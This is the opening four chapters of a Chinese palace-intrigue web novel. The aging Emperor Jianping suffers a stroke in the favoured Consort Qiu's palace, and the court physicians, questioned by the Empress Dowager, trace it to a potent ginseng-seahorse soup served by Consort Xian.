《贵妃娘娘过分美丽》 1. 第一章 皓月高悬夜空,繁星点点生辉。星辰似宝石镶嵌,闪烁柔和光芒,却收敛光彩,拱卫明月。夜空宁静致远,如画卷般美丽。 回溯往昔,二十载风雨飘摇,大赵不敌大燕铁蹄,北都沦陷,半壁江山易主,皇室南迁,于江南南陵重建皇庭,新都名为南都,赵宣德登基为帝,改年号为“建平”。 江南之地,物阜民丰,风气多开放奢丽,不过短短二十载,建平帝帝心渐弛,国仇家恨似已淡忘,终日沉湎于声色犬马之中。 夜已深,怜月宫内灯火辉煌,犹如不夜仙城。 宫殿之外,宫内欢声笑语与乐声传出,秋夜凉风将其送远,让人心生向往,不由得想窥视宫内。 怜月宫内,一位绝代佳人随乐起舞,她容颜倾城,舞姿柔美优雅,灯火辉煌中,她独自舞动着,成为了这个夜空下最耀眼的存在。 “王贵,朕且问你,洛水之神与秋贵妃,谁更美?”建平帝痴迷的看着舞池中独舞的佳人。 王贵,这位跟随建平皇帝多年的老仆,深知主子的心思,他垂首立于一侧,偷偷抬眼朝台下瞥了一眼。 台下的秋贵妃身着流光溢彩的舞衣,仿佛将整座怜月宫的月色都织进了舞衣之中。 虽已无数次目睹秋贵妃的惊世之舞,但每次仍会被其深深吸引,怕殿前失仪,王贵仅瞥一眼即收回目光。 此刻,面对建平皇帝的询问,他心中虽有千言万语,却只敢小心翼翼地回答道:“陛下,奴才没读过几本书,但奴才视娘娘似九天仙子下凡传情,那洛神怕是不能及。” 建平皇帝听后,嘴角微扬,满意之情溢于言表,他一拍扶手,大笑出声:“王贵啊王贵,你大字不识几个,但这份眼光与见识,实属难能可贵。朕的秋贵妃,姿容倾城,才艺无双,一舞之下,那是倾国倾城之姿。洛神乃古人臆想,原身凡女,怎能与贵妃比?” 王贵虽应声称是,内心却思绪万千。秋贵妃入宫后,建平帝便无心朝政,只沉迷于佳人温柔乡,朝内外早有微词。 可看着下方翩翩起舞的佳人,王贵便又觉得理应如此。 秋贵妃姿色倾城,才艺双全,尤其是她那绝美的舞姿,仿佛能勾人心魄,让人忘却世间一切烦恼。试问,如此风华绝代的女子,世间又有几人能够抗拒其魅力? 曲终,丝乐低沉,余音绕梁,秋宴越轻甩长袖,细腰轻摆,身姿下滑,华美舞服曳地,如红莲初绽,绝美而神圣。 “陛下~” 一舞毕,舞池中的佳人仍然保留着最后的舞姿,只抬起一对黑曜石般的眼眸,直勾勾的看着台上的建平帝。 秋宴越的长相清丽脱俗,却偏偏长了一双似乎能勾魂的桃花眼,当那一双眼眸深情看人的时候,几乎能将人溺死在她的柔情之中。 建平帝显然已经被秋宴越的姿容深深吸引,他几乎是迫不及待地跑下台去,动作轻柔而又不失急切地将秋宴越扶起,借着这力道秋宴越顺势靠到了建平帝的胸膛上。 “陛下,妾身这支新编的惊鸿舞,您可还喜欢?”秋宴越的声音中带着几分羞涩与期待,她那双桃花眼仿佛能说话一般,紧紧锁住了建平帝的心神。 建平帝的眼神中满是炽热,他紧紧搂住秋宴越:“爱妃的舞姿,当真是世间无双,朕看了只觉神清气爽,仿佛所有的忧愁都随风而去了。” 建平帝这话倒是真心实意。 白日朝堂上,那群酸儒旧臣再度启奏,言及帝王应以国事为重,勤勉于政,广布仁政,力求江山稳固,百姓安泰,为江山社稷计,更需需广施恩泽,雨露均沾。 建平帝闻此早已龙耳生茧,他这都花甲之年了,勤勉了半辈子,这都半截身子进棺材的年纪了还不能享受享受了? 下了朝,又有急报传来,言及冬日严寒将临,西北疆域的异族蠢蠢欲动,恐有再度侵扰中原,劫掠烧杀之虞,亟待朝廷拨款稳固西北防线。 建平帝急招文武大臣共商大计,岂料户部回禀,国库空虚,难支前线所需。建平帝又提及增税之策,那群文臣又纷纷以体恤百姓为由,极力反对,一时间,他的御书房里争论四起,和市井闹市无异。 入了夜,后宫之中,亦是沉闷,妃嫔无趣至极,即便是赴宴共膳,也是教诲之言不绝于耳,令建平帝更感压抑。 终于,建平帝不堪其扰,匆匆用过一碗清汤,便遁入怜月宫,寻求宁静。 在怜月宫,秋贵妃巧笑嫣然,妩媚可人,言语温婉,舞姿曼妙,更是能让他龙心大悦。 “爱妃,天色已晚,不如一同歇息去吧。” 秋风渐凉,夜色深沉,秋宴越依偎在建平帝怀中,她长睫微动,含羞带怯,月光洒落,将她映衬得如同雨后初绽的夜莲,娇艳欲滴,静待着有心人的采撷。 一股 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 强烈的情愫骤然间在建平帝心间升起,他急不可耐的紧握秋宴越的柔夷,急步地朝寝宫方向行进。许是步伐过于急促,加之酒意的熏染,他行走间略微有些不稳。 怜月宫是建平帝专门为秋宴越建造的,宫内的布置精美绝伦,长长的回廊九曲回折,走在这其中,仿佛置身于仙境之中。 平日行走时不觉得,但今日酒意上头,建平帝的意识已然有些晕沉,到寝宫这不过短短几分钟的路程竟让建平帝觉得这段路程像是永远走不尽一般,这越走,他觉得脑子也是越来越混沌,连方向都要分不清了,脚下更是如同踩着棉花一般,难以稳定。 建平帝突然脚下一滑,失去了平衡,他踉跄了几步,手在空中无力的挥舞几下,最终没能稳住身形,跌倒在地。 事发突然,秋宴越也没来得及做出反应,被建平帝拉着一同跌坐到了地上。 娇嫩的肌肤冷不丁撞到冰冷的地砖上,尖锐的疼痛让秋宴越眼里瞬间泛上了泪花。 秋宴越本还想撒娇做软一番,但见很快便察觉到了情况不对,建平帝的面部肌肉不自主地抽动,眼神也变得迷离混沌,似乎已经失去了意识。 看着建平帝的症状,秋宴越的心中一紧。她回忆起自己在庄子上生活的那段时光,庄子上有个老佃户,在劳作的时候因老迈无力,不慎跌了一跤便再也没起来。那老人摔到后的症状与现在的建平帝一模一样,一样的面色抽搐,一样的没了意识。 后面庄子上的人议论说那是风疾。 脑中风疾二字,如同重锤般击打着秋宴越的心房。 亲眼见过风疾夺走一个老佃户生命的她可太了解这疾病的凶狠了。 她立刻扶起建平帝,仔细检查他的身体状况,就这片刻的功夫,建平帝的呼吸已经变得急促而紊乱,面色也愈发苍白,生命之火似在熄灭。 身为帝王,却在自己的寝宫遭遇此等变故,一旦传扬出去,后果难以估量。 更为糟糕的是,建平帝已经步入花甲之年,身体早已被岁月侵蚀,早年奔波逃亡,加之近些年纵情酒色,身体早已是外强中干。如今又突发风疾,就算他是这大赵最尊贵的皇帝,恐怕也难以挽回。 秋宴越跪坐在冰冷的地砖上,扶着受伤倒地的建平帝,她那向来温婉柔和的嗓音,此刻罕见地失去了往日的柔媚: “王贵!快宣太医!” 2. 第二章 秋宴越已经收敛起所有的柔弱,脸上浮现出一抹平日里难得一见的严肃与冷静。 她心中焦急如焚,但她也并未失去理智,一边迅速下令宣召太医,同时让宫人将建平帝扶入屋内,秋宴越冷静地部署着每一个细节,她知道,此刻的自己必须保持冷静,才能为建平帝争取到一线生机。 也为她自己争取到生机。 “林德,即刻封锁整个怜月宫,务必严密无隙,如无本宫的手谕,连只苍蝇都不许飞出去!另外,陛下龙体有恙是大事,任何人不得议论!违者,严惩不怠!”看着王贵连滚带爬的跑去宣太医,秋宴越招来心腹太监厉声吩咐道。 林德,这位自秋宴越得宠以来便被一手提携的心腹太监,平日里为她鞍前马后,处理诸多事务,两人之间早已是荣辱与共、休戚相关的命运共同体。 同样的,林德也深知自从选择跟随秋贵妃,自己也已无退路,他的命运与秋宴越紧密相连,不可分割。 而今,建平帝于怜月宫突遭不测,此等宫廷巨变,势必牵连甚广,怜月宫上下皆难逃干系。在这风雨飘摇之际,唯有秋贵妃本人屹立不倒,方能成为林德乃至整个怜月宫众多宫人唯一的生存希望。 “丹红,你现在立刻去司宫台找齐翔齐公公,让齐公公务必为本宫详尽搜集陛下近日来的生活起居与膳食记录,不得遗漏分毫!”看着怜月宫大门缓缓关上,秋宴越的双手紧紧交握,对身旁的丹红下达了又一个指令。 丹红是秋宴越还未被皇帝宠幸那会随手救下的小宫女,多年相处,又有救命之恩,是她在宫里绝对能信任的人。 皇帝在怜月宫中风,现在时间还短,而消息尚被严密封锁于怜月宫之内,虽然秋宴越已经下了封口令,但是皇帝龙体有恙这是大事,封锁不了多久, 秋宴越必须赶在事态失控前,找到对自己有利的线索。 皇帝中风疾虽然直接原因是在怜月宫摔到的缘故,但是秋宴越不能让皇帝的中风原因完全归咎到这之上。 据她所知,风疾之因,往往错综复杂,除却外伤跌倒,更不乏饮食无度、纵情声色等诸多诱因交织其间。 这其中两项自己怎么看都逃不出去了,那就只能在饮食上看看有没有一线转机。 司宫台,作为皇家内务中负责详尽记录帝王日常起居与膳食的机要之所,其重要性不言而喻。而齐翔,是司宫台的管事太监,其地位举足轻重。 自她手握凤印,执掌后宫以来,更是不惜重金,频频对这些管事太监示好,以她如今的地位,查阅起居注不是难事。 丹红深谙当前局势的紧迫,也不多问,只毫不犹豫地接过秋宴越的信物,随即脚步匆匆地离开了怜月宫。 随着丹红的离去,秋宴越孤身一人伫立原地,双眸紧闭,竭力压制住心中那汹涌煎熬的情绪。再度睁开时,那双素来妩媚的含情目中,已全然换上了冷冽与决绝。 为了巩固自己在后宫的地位,这些年她步步为营,精心布局,然而,这样无疑也让她树敌无数,那些被她踩在脚下的嫔妃,无不怀恨在心,伺机报复。 皇帝子嗣不丰,除去早就被圈禁的废太子外,其余皇子都已经被贬谪出京,远离了京城的权利圈子,而那几个就藩的皇子,离京背后或多或少都有她的推手。 承宠三年,她的肚子却迟迟没有动静,身在后宫,无子嗣傍身,权势再大,也是无根浮萍。 皇帝年事已高,身体日渐衰弱,一旦驾崩,继承者必然是诸位皇子中的一个。而到那时,自己这个曾经嚣张跋扈、得罪过无数人,又没有子嗣傍身的贵妃,又该如何自处呢? 她曾无数次设想过自己的结局:或许会被新帝打入冷宫,孤独终老;也可能被迫出家为尼,青灯古佛了此余生;更惨一些大概会被赐以白绫,给皇帝殉葬。 她本以为自己还年轻,皇帝身体看着也还行,自己还能再谋划几年,可这突如其来的变故打了她个措不及防,她必须要为将来做打算了。 若皇帝此番未能挺过难关,那么她自身怕是难以善了。 ============ 另一边 贤仪宫 不同于怜月宫那边笙歌燕舞热闹非凡,贤仪宫内冷冷清清,这里静谧得仿佛被时光遗忘,空旷的屋子里仅三人,除却侍立一侧的宫婢巧云,便是那孤高清冷的贤妃与端坐的八公主赵玲珑。 贤妃身着简朴素雅的宫装,静坐如松,面无波澜,仿佛周遭的一切都无法触动她的内心。八仙桌上,几碟佳肴错落有致,可除了最中央那道人参海龙汤外,其余菜肴皆看着“清新脱俗”,少有荤腥。 屋内的气氛凝重,就连年幼的八公主赵玲珑都安安静静的端坐着,不敢轻易发出声响。 “咕——”一声突兀的声响,如同平静湖面被投了了一块巨石,一下便打破了这份沉静。 贤妃沉静如一潭死水的眼眸动了动,缓缓转头将视线投落在了身旁尴尬得坐立难安的赵玲珑身上。 “玲珑,你身为皇家公主,当以克制守礼为本,岂可任由口腹之欲驱使,失了体统?”贤妃轻捻着手中的檀木手串,语调淡默,却透露出不容置疑的威严。 “母妃教训得是,儿臣知错了。”赵玲珑低头认错,声音中带着几分稚嫩的惶恐。 今日本是她的生辰,可她却丝毫不觉得欢喜。 平日里难得一见的父皇今日破天荒的来了贤妃娘娘的贤仪宫,可还没等自己动筷子,父皇便气恼的拂袖离去,留下一室尴尬与沉寂。 父皇离去后屋内的气氛更是凝重,赵玲珑年岁虽小,却已深谙宫廷生存之道,深知自己依附于贤妃之下,是万万不能得罪贤妃的。 只是苦了自己的肚子,距离她用过午膳,到现在已经有五个时辰了,她早就饥肠辘辘,可贤妃不开口,她哪敢用膳。 “罢了,你年岁尚幼,饥饿难耐亦是人之常情,用膳吧。”盯着赵玲珑看了片刻,贤妃总算松口。 得到了贤妃的首肯,赵玲珑暗自松了口气,表面却不动声色,细心揣摩贤妃的神色,确定她确实是让自己用膳,这才缓缓的举起筷子,轻手轻脚的从自己面前的盘子里夹了一根金针,小口小口的咀嚼着。 赵玲珑是建平帝最小的孩子,她并非贤妃亲生,她的生母位份不高,诞下赵玲珑后才被皇帝想起来晋了位份,封了才人,只可惜在赵玲珑五岁的时候,那位才人便因病去世了。 按照宫里的规矩,能有资格收养皇子公主的,只能是嫔位之上的妃子。 当时建平帝的后宫里,皇后幽禁坤宁宫,妃位仅有淑妃、贤妃二妃,嫔位也仅有昭媛、修仪、修媛、充仪、充媛五位,这其中除了贤妃之外均有子嗣傍身。 生在皇家的皇子公主大多早熟,尤其是像赵玲珑这样生母并不受宠的公主。 五岁,已经是记事的年纪,再加上赵玲珑只是公主,有资格收养的妃嫔都不愿意抚养赵玲珑。最终,是建平帝的一纸旨意,将这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 赵玲玲送去了贤妃宫里。 “陛下出了贤仪宫往哪个方向走了?”贤妃轻轻移开凝视赵玲珑的目光,悠然抬手,示意立于身后的巧云为她布膳。 “奴婢瞧着方向,似是往南面走了。”巧云心领神会,依着贤妃的喜好,精心挑选了几样菜肴,轻轻置于她碗中。 “南面...莫非又是去那狐媚子宫里?”贤妃手中的筷子刚欲举起,却又愤然重重搁下,桌面顿时发出沉闷的响声。 坐在贤妃身侧的赵玲珑身子忍不住微颤,原本夹到半路的一根金针因这突如其来的紧张而失控,半途滑落,直接掉到了桌面上。 八仙桌上本铺着花样精致的绸面桌布,这金针一掉,桌布上留下一抹突兀的油渍,破坏了原有的雅致。 “身为公主,竟连最基本的仪态都无法保持,实乃大不敬。退下吧,今夜需将《女诫》抄写十遍,以作惩戒。”贤妃不悦的语气中带着不容置疑的威严。 “是,儿臣告退。”听到了贤妃的处罚,赵玲珑的身子停止抖动,似是松了口气,她匆匆行礼,不敢有丝毫耽搁,快步退出屋去。 “听闻有宫人前来禀报陛下说秋贵妃新编了一支舞蹈,皇上听完便说过去瞧瞧。”贤妃没有点名道姓,但是巧云在贤妃身边待得久了自然是知道贤妃指的是谁,身为贤妃心腹侍女,巧云自然也是站在贤妃这边,她声语中难掩愤懑之情的继续说道: “谁不知道今日可是公主殿下的生辰,秋贵妃却恃宠而骄,生生喊走了陛下,如此行事,实难让人不忿。” 闻言,贤妃玉手猛然拍击案几,怒意勃发,冷笑道:“呵,好一个新编了支舞,咱们这位秋贵妃倒是能歌善舞的,才艺双绝,一曲一舞间,勾得皇上连今个儿时什么日子都忘了,今日舞罢,明日歌起,长此以往,怕是连皇家根本的治国理政之事都要抛诸脑后了” “娘娘息怒,仔细伤了玉手。”巧云连忙上前,轻柔地捧起贤妃的手,细细按摩以舒缓其怒气,继续说道:“奴婢近日偶闻坊间流言,言及秋贵妃出身卑贱,却有妖媚之姿,恐怕是什么妖物转生来的。” “住口,陛下立朝以来,最忌神鬼怪谈。”贤妃轻启朱唇,语带寒意,目光如冰,淡淡扫了巧云一眼,后者瞬间噤若寒蝉,室内再次归于沉寂。 “不过,今日怜月宫那边的乐声似乎较往常提早消歇,倒是有些不同寻常。”随着贤妃的话语落下,室内静得能听见针落之声,空气仿佛凝固。 自从秋宴越晋升为贵妃入主怜月宫后,那里夜夜灯火辉煌,乐声悠扬直至夜深,而今尚未至亥时,一切便已归于宁静。 贤仪宫距离怜月宫说不上近,也不算远,毕竟都是四妃,贤仪宫位置也偏不到哪里去,只是一个在南边一个在北边,往日这时候,怜月宫的丝竹歌乐总能隐约传入贤仪宫,而今晚,这份异常的宁静却让人心生疑虑。 贤妃蹙眉,不自觉地移步至窗边,目光穿越夜色,试图穿透重重黑暗,望向那方灯影摇曳的怜月宫。夜色深沉,仅见灯火阑珊,其余一切皆笼罩在朦胧之中,难以窥见真相。 “怜月宫那边,莫非生出了变故?”她轻抚着窗棂低声呢喃。 “娘娘,夜深露重,注意身体。”夜风凉凉,巧云翻出一件绣着精致花纹的披风,轻轻地将披风披到了贤妃身上。 贤妃微微侧头,语气重带着不容质疑的坚决:"巧云,你速去打探,看怜月宫是否真有异常。记得,要悄悄行事,不可惊动了旁人。" 3. 第三章 怜月宫 秋宴越身姿挺立如松,笔挺的站在寝宫门口,她双手紧握在一起,指节因用力而微微发白,好看的眉峰紧紧绞在一起,双目定定的盯着寝宫紧闭的房门。 太医们已入内诊治近半个时辰,却是迟迟不曾出来。 秋宴越只觉得此刻渡过的的每一分每一秒都如同在刀尖上跳舞,让她内心倍感煎熬。 吱嘎 紧闭的大门被推开 秋宴越猛地抬起头,只见一名小太监从寝宫内跑了出来,喘息未定,便听他急声道:“娘娘,太医们……太医们已诊治完毕,正欲出来。” 秋宴越的心猛地一紧,忙上前几步,刚好遇上从屋内走出来的太医们,只见太医们面色凝重,见秋宴越前来,纷纷行礼。 秋宴越挥手示意免礼,随即急切问道:“陛下病情如何?” 太医们相互交换了一个眼神,谁也不愿意先开口,最后,资质最老的王太医缓缓开口道:“娘娘请宽心,陛下的病情暂时得以控制。只是……陛下什么时候能醒过来还是未知数。” 顿了顿,王太医谨慎地抬眼,小心的观察了秋宴越的面色,见她面色无异这才继续问道: “陛下年事已高,此番突发风疾,实乃凶险至极。不知娘娘能否告知,陛下此番中风,究竟是何缘由所致?” “自然可以。”秋宴越轻启朱唇,神色淡然的娓娓道来: “今夜,陛下如同往常一般来了本宫的怜月宫,为了迎接陛下的到来,本宫特地准备了一支精心编排的惊鸿舞,希望能为陛下解去一日的疲惫。” 说道这里,秋宴越的语气顿了顿,似乎是在回忆: “陛下今晚似乎是在别处用过膳后才来的,到了怜月宫后,陛下并未传膳,只是随意地拈了几片瓜果,又轻啜了几盏由西域进贡葡萄精心酿造的果酒。” “本宫献完舞后,陛下便准备移步寝宫就寝,然则在返回寝宫的途中,陛下突感不适,竟至晕厥。”秋宴越神色沉静,隐去了一些细节,将事情的经过对王太医说了。 “这是陛下今夜在怜月宫里食用的瓜果,和果酒,这果酒是夏日宫里取了西域进贡的葡萄酿造的,陛下格外喜欢饮用,不过这酒是今年的新酒,度数不高,陛下这一壶都未曾饮完。” 说着,秋宴越轻轻挥手,示意身旁的宫人将早已准备好的物品呈上。 两碟瓜果,一碟是均匀切分的甜瓜,一碟是剥好的橘子。 宫中的甜瓜一般都是被均分成十瓣的,寓意着十全十美,那碟晶莹剔透的甜瓜如今还剩下八瓣。 另一碟橘子,也是被剥好,连橘瓣上的橘络都被清理的干干净净,金灿灿的摆着。 橘子的数量不好分辩,但这一碟橘瓣看起来和没动过一样,显然皇帝没食用多少。 除了瓜果外,另外几个小碟上装着花生瓜子,但看碟子上的数量,可见皇帝基本也没怎么动过。 还有一个宫人手中举着一个托盘,托盘上摆着一壶酒和一盏尚未饮完的酒盏。 拎起酒壶摇晃了一下,酒壶沉甸甸的,里头仍有大半的佳酿,酒盏中也还残留着约半盏的酒液。 王太医眉头紧锁,上前一步,恭敬地问道:“娘娘,这酒可否让下官品尝一番,以便更准确地判断陛下的病情?” 秋宴越闻言,微微颔首,但随即又补充道:“自是可以,不过这酒是毕竟是陛下今夜饮用之物,作为陛下身体不适的重要线索,需妥善保存。本宫已命人准备了另一壶酒,此酒与陛下今夜饮用之酒出自同一酒缸,诸位太医可放心饮用。” 言罢,秋宴越再次唤来宫人,只见宫人手中托盘之上,六只小巧精致的酒杯一字排开,正好对应在场太医的人数,一阵凉风吹拂而过,空气中顿时弥漫开一股淡淡的酒香。 随着太医们一一接过酒杯,轻啜那甘甜的果酒,整个怜月宫内的气氛变得凝重而紧张,秋宴越站在一旁,目光如炬,紧盯着每一位太医的神情变化。 饮酒之后,这六位太医皆保持缄默。终于一位太医以沉稳的语调缓缓发声:“这酒的度数,依微臣之见,实属温和,陛下今夜浅尝辄止,量并不大。” 他的话语中透露出几分谨慎与笃定,仿佛是在为接下来的判断铺垫:“再者,适才为陛下把脉之时,虽能感受到陛下身上缭绕的淡淡酒气,但那酒气并不浓郁,更未至熏人之境。据此推断,陛下应当不至于陷入酩酊大醉之境。” 在出现了一位敢于率先表态的太医后,其余的太医们也纷纷表达了相似的意见。 见在场的太医都认可这意见,秋宴越的心绪稍稍安定她的目光与首位出言的太医的视线在瞬间交汇。随后,她轻轻抬手,指尖微颤,似乎是在释放着内心的紧张与期待。 “诸位太医,本宫深知尔等医术高明,对陛下的龙体更是关怀备至。为此,本宫已下令司宫台总管,将陛下近日的作息饮食记录整理出来,现正待诸位审阅。” 随着秋宴越的话语落下,一名侍从迅速上前,手中捧着沉甸甸的卷宗,全是建平帝日常生活的详细记录。太医们纷纷上前,有的眉头紧锁,认真研读;有的则低声交流,讨论着其中的细节。 “陛下近日来,确是偶有饮酒,但每次皆是适量而止,未曾贪杯。”一位年长的太医边翻阅卷宗边说道,“且从膳食上看,陛下所食皆为养生之物,搭配合理,并无不妥之处。” “不错。”另一位太医点头附和:“加之陛下平日里有早起晨练的习惯,又有太医院为之调理身体,身体还算是康健,这突如其来的不适,确实令人费解。” 众人议论纷纷,气氛逐渐活跃起来。秋宴越站在一旁,静静地聆听着太医们的讨论。 太医们围站在一起,面色凝重,他们的目光不约而同地聚焦在一位太医手中的那份明显薄了不少的卷宗上,那是关于皇帝今 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 日饮食起居的详细记载。 “这都是今日的记录,”一位太医轻轻翻开卷宗,眉头紧锁:“方才娘娘提及,陛下今夜似乎并未在娘娘宫中用晚膳,那不知陛下今夜究竟身在何处?又食用了何种膳食?” “今日是八公主的生辰,陛下晚膳应是在贤妃娘娘的贤仪宫中用的。” “司宫台整理出来的记录全在这里了。”秋宴越缓缓开口:“但今夜的记录怕是还未送到司宫台,本宫已经派人去催了,相信很快便会有消息传来。” “不必了。” 就在众人焦急等待之际,一道威严的声音突然响起,如同寒冰刺骨,让人不由自主地打了个寒颤。 “哀家已经把皇帝今夜的起居注拿过来了。” 随着声音落下,一个手中拄着拐杖的老者,在宫人的搀扶下,巍巍颤颤地踏入了怜月宫。 她便是这深宫之中最为尊贵的人物——太后娘娘。 “太后娘娘吉祥!”见到老人出现,在场所有人无不面露敬畏之色,除秋宴越外,旁人纷纷跪倒在地,连大气都不敢喘一口。 秋宴越见太后来到,也是恭恭敬敬的行了一礼。 太后虽已届耄耋之年,然其眼神如炬,扫视全场之际,众人皆感威严赫赫,无不低头避其锋芒,无人敢于直视其目光。 啪。 就在众人屏息以待之际,太后突然抬手,给了恭敬行礼的秋宴越一个响亮的巴掌。 秋宴越肌肤本就娇嫩如玉,这突如其来的一掌让她措手不及,原本艳若芙蕖的娇嫩脸蛋上瞬间浮现出了一个鲜红的手掌印,看着触目惊心。她捂住脸颊,眼中闪烁着泪光,却不敢发出一丝声响,只是细微地啜泣着。 “你这个狐媚子!”韦太后怒不可遏地斥道:“定是你这妖女用尽了手段,累得皇帝日夜操劳,才让皇帝有了今日之难!” “太后,臣妾冤枉啊!”秋宴越忙跪下开口辩解道:“臣妾虽得陛下宠爱,但从未有过丝毫逾矩之行。陛下之病,如今还未查出真相,臣妾心中亦是焦急万分。” “臣妾虽不懂医术,但也知病情之事,非同小可。若是事后查明陛下今日之难与臣妾有关,臣妾愿意承担一切后果,绝不逃避。但在此之前,臣妾恳请太后明察秋毫,切勿轻信谣言,以免冤枉了无辜之人。” 此时此刻,整个宫殿内静得只能听见秋宴越那略带哽咽的声音。 太后眉头微蹙,目光上下审视着秋宴越,似乎在审视着秋宴越的每一句话、每一个表情。 终于,她沉声道:“你且起身,哀家会派遣得力之人,详查此事之真相。倘若你确系无辜蒙冤,哀家必当还你一个应有的公道。” 随着太后的话语落下,秋宴越终于松了一口气,她缓缓站起身来,向太后行了一礼。 “你也别高兴的太早,倘若今日皇帝之难与你有所关联,你应心知肚明,其后果无需哀家多言。” 4. 第四章 “王贵,你且细细道来,今日皇帝的变故,究竟是何缘由?”韦太后目光一扫,便锁定在了王贵身上,她手中的拐杖抬起,又重重地砸在地面上,发出沉闷的声响。 王贵闻言,心中不禁涌起一股寒意,心中暗自斟酌,深知此事非同小可,每一个字句都需深思熟虑,方能出口。 他似是回忆了片刻,这才缓缓开口,将所见所闻细细道来,言辞之间竟与秋宴越之前的叙述不谋而合,只是角度略有不同罢了。 秋宴越安静的立在一旁,静静地听着,脸上神色未变,仿佛早已料到王贵会如此说。 江南风气奢丽,怜月宫的设计更是将这一特点发挥到了极致。整座宫殿有山有水,亭台楼阁错落有致,每一处细节都透露着江南的温婉与雅致。从金碧辉煌的大殿到幽静雅致的寝宫,中间隔着曲折蜿蜒的回廊。 建平帝中风倒地前拉着自己步伐匆匆,早就就将王贵等宫人甩在了身后,而廊间点缀着各式各样的花卉与盆景更是让后面的人视线受阻。 王贵赶到的时候,建平帝已倒地不起,陷入昏迷之中。 这陛下究竟是中风在前,倒地随后;还是倒地之后,方引发中风,此中看似没什么差别,可实则关乎重大。 若是先中风再摔倒的,那不一定就是和怜月宫有关,这中风的缘由得好好查清楚;可这要是摔倒了引发中风,那整个怜月宫上到秋宴越这个一宫之主,下到怜月宫养的两条看门犬都脱不了干系。 王贵也是聪明人,他作为建平帝的心腹太监,皇帝身边大大小小的事他都得安排妥当,可今夜皇帝在怜月宫突发风疾,可他却没有在第一时间发现,甚至连建平帝的中风缘由都不甚清楚。现在太后问起,若他据实禀报太后,那少不得得治一个伺候不力的罪。 故而他选择顺应秋宴越之言,此举实为明智之举。 见从王贵口中得不到什么有利的信息,韦太后眼神中透露出几分凝重与深思:“王太医,你乃宫中资历最深、医术最为精湛之人,哀家信得过你,你且先看过这份起居注,再做论断。” 太后身后的宫人心领神会,迅速上前,双手恭敬地捧着那份薄薄的起居注递到了王太医的手中。 这份起居注,虽仅有寥寥数张纸页,却详尽无遗地记载了皇帝今夜的饮食情况。 这份起居注是太后命人从司宫台拿回来的。 秋宴越所获取的,仅为前几日的起居记录,而太后所展示者,则是专为今夜所撰写,由专门的执笔人即时记录并呈送至司宫台,只是因为事发突然尚未及编入正式档案之中,故而只有几张纸,但虽然寥寥数纸,可上面的内容可是不少,密密麻麻的蝇头小楷布满了全部纸面,虽然记录人字迹工整,但内容却紧凑,因是即时记录,许多话并没有润色整理,且话语多有重复,看着就让人头晕。 王太医接过起居注,逐字逐句地仔细研读起来。 起居注并不长,短短几张纸,王太医迅速阅览完毕。他轻轻瞥了一眼捂着面颊低声啜泣的秋宴越,面露同情之色,随后将手上的起居注传给了在场的另外几位太医。 在场的太医看完起居注,皆是面露古怪之色,一时竟无人言语。 韦太后见状,心中颇感不耐,遂开口问道:“诸位太医都是我大赵医术最为高明之辈,皇帝的起居注你们也都翻阅了,此刻可有何论断?” 诸位太医面面相觑,最后又是将资质最老的王太医推了出来。 “这......” “陛下今夜是在贤妃娘娘的贤仪宫内用的晚膳,贤仪宫今夜所享用的膳食,均是上等的食材,足见贤妃娘娘之用心。”王太医只觉得手中的纸张有如千钧,可太后发话了他也不得不开口,斟酌一番后他先是礼貌地将贤妃夸赞了一番。 “只是......”王太医话锋一转,语气中透露出几分凝重,指着起居注上一道膳食说道:“但唯独这盅‘人参海龙汤’,却是有些不妥。” “哦?此言何解?”韦太后闻言,不禁眉头轻蹙,显然对王太医的此番陈述感到意外。 听王太医这话,皇帝中风似是和贤妃脱不了关系。 可贤妃从入宫来就是一副清冷的摸样,手中檀木佛珠终日不离手,实在不像是能让皇帝中风的祸水人物。 王太医深知此事非同小可,就算贤妃是四妃之一,出身显赫,且与太后血脉相连,但事关皇帝龙体安危,他也不敢妄言,当下,他的头垂得更低了:“人参和海龙’,自古以来便是大补之物,两者相加对于男性而言,更有壮阳益精之功效。然而,陛下年事已高,身体机能已不复当年之勇,平日里我等太医对于陛下日常饮食用药皆是建议遵循温补之道,力求循序渐进,以保龙体安康。” “而这人参海龙汤,虽名为食膳,实则药力不凡。尤其是其中所用之人参,其年份大有讲究。”王太医说到这里,不禁停顿了一下,似乎在斟酌着接下来的言辞,“若是人参年份在十年以下,其药性尚算温和,陛下服用自然无碍。但若是这人参已有三十年以上之龄,那便是另一番景象了。” “三十年以上的人参,其药性之猛烈,绝非一般人所能承受。即便是陛下贵为九五之尊,身体素质远超常人,但在这等强补之下,也难免会出现短时间内受补过盛的情况。” “而一旦身体无法承受这股突如其来的药力冲击,便有可能引发一系列的不良反应。轻则头晕目眩、心悸气短;重则……重则……便是如现在这般突发风疾。” 夜色依旧深沉,但宫中的气氛却似乎因这一番对话而变得更加凝重起来。 韦太后也是一时有些无语。 贤妃一向十分贤惠,怎么也能做出给皇帝用大补之物的事来。 韦太后和贤妃倒是有些关系。 贤妃的母亲也是姓韦,和韦太后是远房姐妹。 在她眼中,贤妃一直以来都是宫中的楷模,她不仅精通琴棋书画,更在治理后宫、辅佐皇帝方面展现出了非凡的才能。然而,正是这样一位看似完美无缺的女子,竟然会做出给皇帝服用大补之物,甚至有可能就是导致皇帝中风的罪魁祸首。这让韦太后感到既震惊又痛心,她实在无法将这两者联系在一起。 贤妃的母亲与韦太后同姓韦,两人是远房姐妹,虽然关系并不亲近,但这种血缘上的联系,让韦太后在面对贤妃时,总是多了一份宽容与理解。即便是现在,当她得知皇帝中风可能与贤妃有关时,她的第一反应并不是愤怒与责难,而是深深的忧虑与不解。 沉默半晌,韦太后终于开口:“贤妃行事,历来都是稳重得体,深得人心。此次之事,且不急于定论,待皇帝陛下苏醒过来,亲自了解详情,再做打算。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 